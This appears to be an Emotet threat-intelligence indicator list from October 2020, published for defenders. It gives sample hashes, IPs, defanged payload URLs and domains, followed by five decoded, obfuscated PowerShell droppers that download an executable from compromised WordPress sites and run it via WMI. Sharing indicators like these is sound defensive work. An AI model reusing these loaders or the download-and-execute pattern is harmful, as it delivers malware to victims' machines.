Emotet_Doc_out_2020-10-21_22_08.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
11c8cdc867668b0fe262189aaf49519ffbf3391fa8303856b0a08a52562cd611
fc956fdcb712699a094490c10177653c5df72d2913d775aeb75d9c676f04e31b
29564909de0dce6cc92e8ef8478d45b07ebca92b9232fb59a116539a508b4574
90828b96547b35641ebd76b91c0200f8f057974be00f528002acf24663c9991f
dffa5e40bfd9c1e7a0eefc7429b9ddc721922033288fdee72b44885fb7f9b2c8
cd8851bd896a7e87cc70c70d34d548cf3618138a015fc11eec546d47780a586d
f647e044db03f36251bf4a293d89b0d2272806920917eeb10166f289f3a6a503
b77d2293e1769638ff23750ab476d2eae143a5bbf834e756d17505298ffc2776
ad28c5637cf46e7d7e2c3c841334cfac3be445ea84fadcfa2b42829a5718fbe1
2a603eb060abe8cf0ce5259b69da9cdd0e5c3015332a943828ef24212ae982e8
640216a570296bf2130e64755dc2715b8949af7cf8acb0bc2eb44eaa0d91ba18
ed282c321e5bef01bac1771d18995381a57b6e844e30a76fabd8700017bda15a
38326d59bbe3111f079670b9a69f08d2c8b8fc61e511e6cf13c5ccba11a63dcb
1eb788a6417ddafd7915da6bfc3bb6867c6a567fe83a2104b67420fa919935fa
de28cd90ef4c76e9340eb4c969cd3f18be3e86efe5682598389387cbc661f5df
c73cacd2a4f06b6d7a290623a99c6991b041019a1353f74e3d33bda7d11b9438
f0b8a05a58d78e1d29514ce3290a796d2b88e573e0ef4e917150153a2bf083a1
15be5be4afec63a2c86195f7b5733fa641998ca2e269c2059104ece44f9fc883
cdf08877df82aef07518f10414f3dc1ec0bca6a662ee6191b7c76105bb51a0b1
726fe6b07eb73d6068f54ed6a6d61d76252af6ae080d1e41194e36dba8106a4f
a22de608c25a6a0dec4ca2749b1a1048b8351177b5195780f85baaee421ce713
2ba2268d9dae48b1eecc2d72496ea373ae0b71bf3743ac28b38170d74d3cc178
52caf1a070aa97f41dee32688e691efd22f50efe87a8f77d4a36a28281c19136
8697e6d0c8627cfe2860549ddb1ae28ca48ab2da445d41bde0c40a99d5bb5fd9
df23f7673bff775b6e684f5ba9d205d51e926537e185534fb4726ce87e541f04
9108ca23d908dda4dec8fb03dc119e054b45ac8bef157933a4034f5992ca7ce7
90db88f7d96dc2e608f50cd9ed18e65262e360a81fad107084863fe201d05e45
801d055e1eedecef11caac3bb1c618c0699c6f601404d03fcb2d2b1421c3b03c
f99f175949bd5a0dd1daa81ebbba94b4c80534368ce0192f1886c0babde234d6
f63607511cb25a712c35a3841650f25d68980730edc650fd4bb1d1e9df48d05e
c5a24c44676321aaf9dbcd1eba6df9c5ca6433f79184f914f8516a94077eb5cf
d73ed4bc0c34c0cf8f5ba7b2a1baf0983d039f22dd04a5a27645ee5a0010cd2d
e6f5d10a926ef5f57f49e7b9f0aaa1b4a094e51ed21175e2485db666725bc3de
6ce80337e87be714e222cb7a2ae15e92e377f9b003b06385bc9653dcfd6def97
25c71c161f7a916496cd76d407fc6a0863e2f36fa50e8b2cb886b5ca7b853dfa
2d2ac5cd6f74a5856e83c7e4c12acc89c52216c00e83f8d84d58aee357824881
f168ef97aa8cb399a6f327fb6a301f7ae5e115c7ed1ad5c8b59819663bebd7e2
db48c37015b99f3188e5a78304e59404d298e370b51a6ff06a7e49cc4950c6aa
6de36a0ec9634543dd4b2bd99a9da772db767288f7616b6065906b913d08013d
6de36a0ec9634543dd4b2bd99a9da772db767288f7616b6065906b913d08013d
e822f01aa9977a8463b4ed7e2031156b901753bef12ad64a559787d074be8e89
6ba57b23af759ecff46938a23b32591f453cbc4d14eadc9dd89d08ff1d38fdb1
072b389b119cdd6e5ffdb135b093e5660a2a72bbd2f2bd85d54da961d78076b5
3faafdedcb7f8728f2193ff7669464d51be04943a9c2d2e3ba497ffb2df39591
0cd4327f88216c586d6a55c043f3f6d131be5492eb05597a705f45b4f4763310
4eb2f799d62c87f3bba166804feeb2451dc23d5609c45c587c5aad9d016e876b
1cb0001d422c0b16aa106ca96ff8aa0db8fec461c49b8f80ac75b5ab4001803c
d755c5281821fb9a1af024b9c6bd977a7da4c3aabe8999703525ece1767fdd13
9e938e1ce4e16cf8323ea47046f94fd5f0357bb1709ea1cba946eb83f2481da5
4cfd922ccbd3d6027a2ebbb689c57aef09cd59c0b24825098d1b51868e989ec7
62f2968f467b17384af83fd1f8a3ed3275246aa2127e35cc4a01c41af6d50431
0aa26310a6be42d4304afc0e1af7040d7117389fdd1aa366e89d6791d226748d
b88c676ca5a7e6781325fd4c6e6ab33cd6b1320d4d0b76c43b2a7ec7dd0de286
5633dcdd6cb771b75b85211ece3df0d9190a2e7c2c0b24ebe6a33b8584b8470c
45733918fea6cf947441e05b444f84d20dcfb5d2f21bb9e149b5c70e684a6a0b
8bb0bf83fabae17ac116f654d04944c66027ecb3243a2831aeb6f87fc392bde8
0d4957ad656edeaef3f49b20de1845bcafd5e78981c607cff352212e84ae913e


IPs:
103.146.177.90
103.151.217.206
103.8.25.63
103.96.75.29
104.24.124.215
104.24.125.215
104.24.98.243
104.27.178.123
104.27.179.123
104.27.183.91
104.31.82.219
104.31.83.219
112.213.89.144
112.213.89.89
119.235.30.160
148.72.3.169
149.255.58.11
15.236.109.244
163.44.198.61
172.104.22.215
172.67.153.227
172.67.156.50
172.67.167.106
172.67.195.54
172.67.203.5
178.128.149.196
182.50.132.45
198.12.208.234
198.55.121.47
199.192.21.176
207.244.253.13
208.72.64.135
212.34.158.133
31.200.247.37
31.22.7.249
51.210.101.93
52.253.65.39
68.169.56.157



URLs:
hxxp://plakatjogja.com/wp-content/X/
hxxp://vnadevelopers.com/wp-admin/BF/
hxxp://nursesweekparty.com/wp-includes/bQR/
hxxps://www.hodmunha.info/wp-includes/Ce/
hxxps://novaworlds-muine.com/khudothiaquacity.com/a/
hxxps://weapontoys.com/wp-content/Ok/
hxxps://bold-c.com/wp-admin/Ac/
hxxp://www.hoianemeraldresort.com/sys-cache/Z/
hxxp://citycommonsparking.com/patc-transmission/Kya/
hxxps://karimele.com/wp-admin/MfCsI8/
hxxp://techmenia.com/cgi-bin/Ayx3/
hxxp://lula.vm-host.net/wp-content/plugins/o714-badx-66007/l8in/
hxxp://susconiq.net/susconiq.net/JFXG/
hxxps://www.hitstationery.com/wp-admin/X6zsDW/
hxxps://htequinetherapy.co.uk/test/H0QITEX/d
hxxps://atrezzos.beneficiosparaempleados.com/wp-admin/kzqh1zM/
hxxp://vinarorganics.com/css/L0vMERYKQD/
hxxp://adidasyeezy.store/welph/ccrcbr1xFU/
hxxp://www.zunan.com.tw/wp-admin/lQ59Q/
hxxps://vstsample.com/wp-includes/YV/
hxxps://tuneclick.co.uk/img/eBV/
hxxps://library.strophicmusic.com/test/VNTHdB7678/


Domains:
plakatjogja.com
vnadevelopers.com
nursesweekparty.com
www.hodmunha.info
novaworlds-muine.com
weapontoys.com
bold-c.com
www.hoianemeraldresort.com
citycommonsparking.com
karimele.com
techmenia.com
lula.vm-host.net
susconiq.net
www.hitstationery.com
htequinetherapy.co.uk
atrezzos.beneficiosparaempleados.com
vinarorganics.com
adidasyeezy.store
www.zunan.com.tw
vstsample.com
tuneclick.co.uk
library.strophicmusic.com


Decoded Base64 Powershell:
<���^,  SEt-vArIABLe "k6""1vN"  [TypE]"{2}{0}{1}{3}" -f .io.,DIrEc,SySTem,toRY   ;
   $yAVbN5=  [TYpE]"{2}{0}{3}{5}{4}{1}" -F YstE,NTMAnAGer,s,m.,epoI,NEt.SErVIc  ;
  $Wjbk1q4=Fijmx51;
$Mzj17il=$Xljk6fo  [char]1  1  20  10  10  $Rficn12;
$Mq6xhbz=Xlz4a1p;
    ls  "VARiA""B""lE:k61vn"  .value::"crEATED`ir`E`cTorY"$env:userprofile  6GEOzl8bkc6GEBegypjh6GE."rep`L`ACe"[char]54[char]71[char]69,[strinG][char]92;
$K93e_99=Wavvi1y;
  GET-chiLdITem "V""A""RiaB""lE:YaVBN5" .ValuE::"sEcURIT`yPr`Ot`O`COl" = Tls12;
$Mb6g_cb=Qgourw_;
$H2hkhuo = Sayp9xhut;
$Uhrd7gy=H_7jim8;
$M5tokia=Whbiu65;
$Mh140gb=$env:userprofilefp6Ozl8bkcfp6Begypjhfp6-rEPlAcE [cHAR]102[cHAR]112[cHAR]54,[cHAR]92$H2hkhuo.exe;
$R7k5ntl=Xkladr3;
$Yw2y7fc=.new-object NEt.wEbClieNt;
$Z9zma92=hxxp://plakatjogja.com/wp-content/X/
hxxp://vnadevelopers.com/wp-admin/BF/
hxxp://nursesweekparty.com/wp-includes/bQR/
hxxps://www.hodmunha.info/wp-includes/Ce/
hxxps://novaworlds-muine.com/khudothiaquacity.com/a/
hxxps://weapontoys.com/wp-content/Ok/
hxxps://bold-c.com/wp-admin/Ac/."SP`lit"$N_gobe5  $Mzj17il  $F6iyepw;
$Dvvnbcv=Nls_9_t;
foreach $Oxp1a7u in $Z9zma92{try{$Yw2y7fc."DOWN`LoA`dF`ilE"$Oxp1a7u, $Mh140gb;
$K11uzqj=B1xslxd;
If .Get-Item $Mh140gb."LEn`GTh" -ge 39347 {[wmiclass]win32_Process."c`ReATe"$Mh140gb;
$V7s7pkq=G81x6wh;
break;
$Vjp1c3z=Bllpcx6}}catch{}}$Amddat_=Gfquu8h<���^,  sEt  "9xR1""A"    [tYpe]"{2}{1}{5}{0}{4}{3}" -f iO.d,Tem,Sys,RECToRY,i,.   ;
  $f2ycP=  [TYpE]"{1}{3}{2}{4}{0}{5}" -F Tma,SYs,E,tEm.nEt.sErVIc,poiN,nAGeR ;
$Vbb_jip=Zpfjk_p;
$Zo2k38m=$Ex8jfpn  [char]64  $Vvsdyyb;
$Agr26nx=Pn2sdqb;
  gI  variaBLe:9Xr1a.VAluE::"cREAted`ire`CTo`Ry"$HOME  {0}R_cz8iz{0}O26o3lo{0}  -f  [char]92;
$I2ifofp=Rfgz2lb;
   gEt-cHIlDItEm vaRiABLE:F2YCp .vaLue::"Secu`R`ITYprOT`OC`oL" = Tls12;
$Jridszj=Asy3z64;
$Astuihe = O848p8k;
$Tcc1g0y=Ipfwh9d;
$Nqf8rx1=J4f6tf8;
$Faifxbj=$HOMEvSTR_cz8izvSTO26o3lovST-CRePlaCE  vST,[cHAr]92$Astuihe.exe;
$Fnnqxtw=Vnrj1hg;
$B_ik1fo=&new-object net.WeBclieNT;
$J5978l7=hxxps:=Y3nkOs=Y3nkOswww.aspensnowmasswebcam.com=Y3nkOswp-admin=Y3nkOsSC6c2o=Y3nkOs
hxxps:=Y3nkOs=Y3nkOsticket1st.com=Y3nkOswp-includes=Y3nkOs98Zkfi=Y3nkOs
hxxps:=Y3nkOs=Y3nkOswww.eyebrowandme.com=Y3nkOscgi-bin=Y3nkOs3NN=Y3nkOs
hxxp:=Y3nkOs=Y3nkOsnewsfocus123.com=Y3nkOs96kaifa=Y3nkOscc1=Y3nkOs
hxxps:=Y3nkOs=Y3nkOsdev.muzigal.com=Y3nkOscron=Y3nkOsMdn=Y3nkOs
hxxp:=Y3nkOs=Y3nkOswww.dehateet.com=Y3nkOswp-admin=Y3nkOsGqg0Ma=Y3nkOs
hxxp:=Y3nkOs=Y3nkOskeithdougherty.com=Y3nkOswp-includes=Y3nkOsYen85=Y3nkOs
hxxp:=Y3nkOs=Y3nkOsnurseprizes.com=Y3nkOswp-includes=Y3nkOshS=Y3nkOs."rE`pLA`ce"=Y3nkOs,/."S`PLiT"$Vgo02no  $Zo2k38m  $Iino553;
$Nyo6vy_=Vdddgqe;
foreach $U9lgsfl in $J5978l7{try{$B_ik1fo."DoW`N`lOaDFILE"$U9lgsfl, $Faifxbj;
$Qtbn291=Zjdogii;
If &Get-Item $Faifxbj."lenG`Th" -ge 49688 {[wmiclass]win32_Process."Cr`eA`Te"$Faifxbj;
$H3b5lbf=Leykk97;
break;
$F3k4ppv=O7muw3w}}catch{}}$Cs7zcml=Wgl4cvy<���^,$54z39m=  [tYpE]"{3}{0}{2}{1}"-fem.io.DirE,OrY,cT,SYst;
 $W1Nm9 =  [TYPe]"{0}{4}{1}{5}{2}{3}{6}" -f SY,ERVic,i,nTmA,sTeM.nEt.s,epO,NaGer ;
  $Juir8kh=Mr1yh3y;
$J7dk79j=$F8x929j  [char]64  $Xfjq2ir;
$Hm9lz48=Tf31qtb;
   geT-vaRIabLe  "54""Z39M".vALUe::"CR`e`ATE`D`IRECtoRY"$HOME  r7iW0qjhfhr7iC2q5mmwr7i-rEPLAcE [CHAr]114[CHAr]55[CHAr]105,[CHAr]92;
$Bnwq1za=Hau2a3t;
 $W1nm9::"seCUR`itYp`RoTOc`oL" = Tls12;
$Z1o65mo=Zbgvfu3;
$Ar1s7gg = C9noxbk;
$Isbzjfv=Pt12egt;
$Zhqzspk=Ggydofx;
$Nulcukb=$HOME8WBW0qjhfh8WBC2q5mmw8WB -rEPLACE 8WB,[CHAr]92$Ar1s7gg.exe;
$L4tml1g=Lg_x5bj;
$Ctm05si=.new-object NET.weBcliENT;
$Nglrlb6=hxxp:=Y3nkOs=Y3nkOsmichaelandrewsbakery.com=Y3nkOswp-admin=Y3nkOsM=Y3nkOs
hxxp:=Y3nkOs=Y3nkOsforsalebyowner247.com=Y3nkOswp-includes=Y3nkOs8m=Y3nkOs
hxxp:=Y3nkOs=Y3nkOswebgisjambi.com=Y3nkOswp-content=Y3nkOsuploads=Y3nkOsV5a=Y3nkOs
hxxps:=Y3nkOs=Y3nkOstigerstormtraffic.com=Y3nkOswp-includes=Y3nkOsh23=Y3nkOs
hxxps:=Y3nkOs=Y3nkOsoptimisticdeals.com=Y3nkOswp-content=Y3nkOsS=Y3nkOs
hxxp:=Y3nkOs=Y3nkOstwogirlscleaning.com=Y3nkOsopenbayl=Y3nkOsKaI=Y3nkOs
hxxp:=Y3nkOs=Y3nkOsonline2u.biz=Y3nkOsogretmenevi=Y3nkOs4Yj=Y3nkOs."rep`lACE"=Y3nkOs,/."spl`It"$Kxpqwvd  $J7dk79j  $Fkpcssw;
$X3kmyhp=Avjmqy8;
foreach $Ytawvky in $Nglrlb6{try{$Ctm05si."doWN`LO`ADfiLE"$Ytawvky, $Nulcukb;
$X2z31gm=Swdakdn;
If &Get-Item $Nulcukb."lE`NgTh" -ge 48754 {[wmiclass]win32_Process."cREa`Te"$Nulcukb;
$N2c28jh=Epam2rv;
break;
$Ff35631=Lwbdo09}}catch{}}$I3996ra=Mtt3mt_<���^,SEt-VarIabLE  "UR""jW"  [TyPE]"{5}{2}{0}{3}{6}{1}{4}"-FO,o,m.I,.d,RY,SYstE,iRect  ;
  $0U16  =[Type]"{5}{2}{3}{4}{1}{0}" -F naGEr,Ma,tEm.ne,T.SerVIcepOi,Nt,Sys  ;
  $Vnh_bxo=Yqy07k3;
$Pcza6cy=$Bev2987  [char]1  1  20  10  10  $Mdeq9jb;
$Gwgr6zc=Qnwzn88;
 GEt-vaRIABlE "Ur""Jw"  .vaLuE::"c`Re`ATE`diRECToRy"$env:userprofile  zG4Uayueb7zG4Aa7eyf4zG4."rEP`La`ce"[chAr]122[chAr]71[chAr]52,\;
$Gkcuubf=M1s9t9o;
  $0u16::"SEcuRI`TYPR`otoc`oL" = Tls12;
$Khzjdl2=Apevkgf;
$Nm6fr4n = Fnhxhs8h;
$G0fgeyz=Ylfixy0;
$Rtf9vyl=Y2f12s8;
$R1io2wq=$env:userprofileGhwUayueb7GhwAa7eyf4Ghw."re`P`laCE"Ghw,\$Nm6fr4n.exe;
$M47mwh8=Lwn7_mu;
$Ilwu68t=&new-object nET.WebcLIENt;
$Rkn1m74=hxxp://www.hoianemeraldresort.com/sys-cache/Z/
hxxp://citycommonsparking.com/patc-transmission/Kya/
hxxps://karimele.com/wp-admin/MfCsI8/
hxxp://techmenia.com/cgi-bin/Ayx3/
hxxp://lula.vm-host.net/wp-content/plugins/o714-badx-66007/l8in/
hxxp://susconiq.net/susconiq.net/JFXG/
hxxps://www.hitstationery.com/wp-admin/X6zsDW/
hxxps://htequinetherapy.co.uk/test/H0QITEX/."spL`iT"$Get02k7  $Pcza6cy  $Qvhos0h;
$K5354w8=Qos0kpv;
foreach $Dlgjavk in $Rkn1m74{try{$Ilwu68t."do`wN`LO`AdFiLE"$Dlgjavk, $R1io2wq;
$Eqrx_9u=Xkzb_tj;
If .Get-Item $R1io2wq."leNg`Th" -ge 39592 {[wmiclass]win32_Process."cre`AtE"$R1io2wq;
$Ysfu18x=Bnn49ki;
break;
$Phbrvqr=P8s97rd}}catch{}}$Aun9pcr=Vp9vho_<���^,Set-VaRiaBle  "ysQW""5" [TYpE]"{2}{1}{4}{0}{3}"-f IO.,ystE,S,DiRECtORy,M.   ;
   $MD43 = [type]"{2}{4}{5}{9}{8}{7}{1}{6}{0}{3}" -FcepoINtManA,RV,SYs,ger,TEm,.n,I,e,.s,ET  ;
  $R0ew0ox=U9mxtwa;
$Zdrbw79=$Hays2i6  [char]1  1  20  10  10  $Uz68t86;
$Ipox3mq=Vne0ree;
  $ySQW5::"CreaTe`DirECT`O`RY"$env:userprofile  bTOSro8843bTOTqwmx93bTO  -RePLACE  [CHar]98[CHar]84[CHar]79,[CHar]92;
$Lfbxkkl=Dl5ku2s;
   varIaBLe md43 .valUe::"sE`CURI`Typ`ROtocoL" = Tls12;
$Ckleioz=Omxod7m;
$Qumwmei = Ozrn6h2c;
$Ysrsf3d=G7g5_9b;
$Cc0x9mj=E16kfa7;
$Ihpn0ee=$env:userprofile6tQSro88436tQTqwmx936tQ-rEplACe[CHAR]54[CHAR]116[CHAR]81,[CHAR]92$Qumwmei.exe;
$Gbj7hqp=Ou6_g5v;
$Rpb9tck=&new-object NEt.WeBCLient;
$F412fl_=hxxps://atrezzos.beneficiosparaempleados.com/wp-admin/kzqh1zM/
hxxp://vinarorganics.com/css/L0vMERYKQD/
hxxp://adidasyeezy.store/welph/ccrcbr1xFU/
hxxp://www.zunan.com.tw/wp-admin/lQ59Q/
hxxps://vstsample.com/wp-includes/YV/
hxxps://tuneclick.co.uk/img/eBV/
hxxps://library.strophicmusic.com/test/VNTHdB7678/."sPl`it"$K72f4pg  $Zdrbw79  $Gsmq95z;
$Axv9ygj=Qodnrj4;
foreach $Dapk2ay in $F412fl_{try{$Rpb9tck."DOWN`lOaD`F`ile"$Dapk2ay, $Ihpn0ee;
$Dc6kj12=Wxx1e0x;
If &Get-Item $Ihpn0ee."lE`Ngth" -ge 44219 {[wmiclass]win32_Process."CR`eAtE"$Ihpn0ee;
$Q_tjxdj=Cspm4f_;
break;
$Zl60p0k=Tcbtuuz}}catch{}}$Jt6kjds=Qygilrd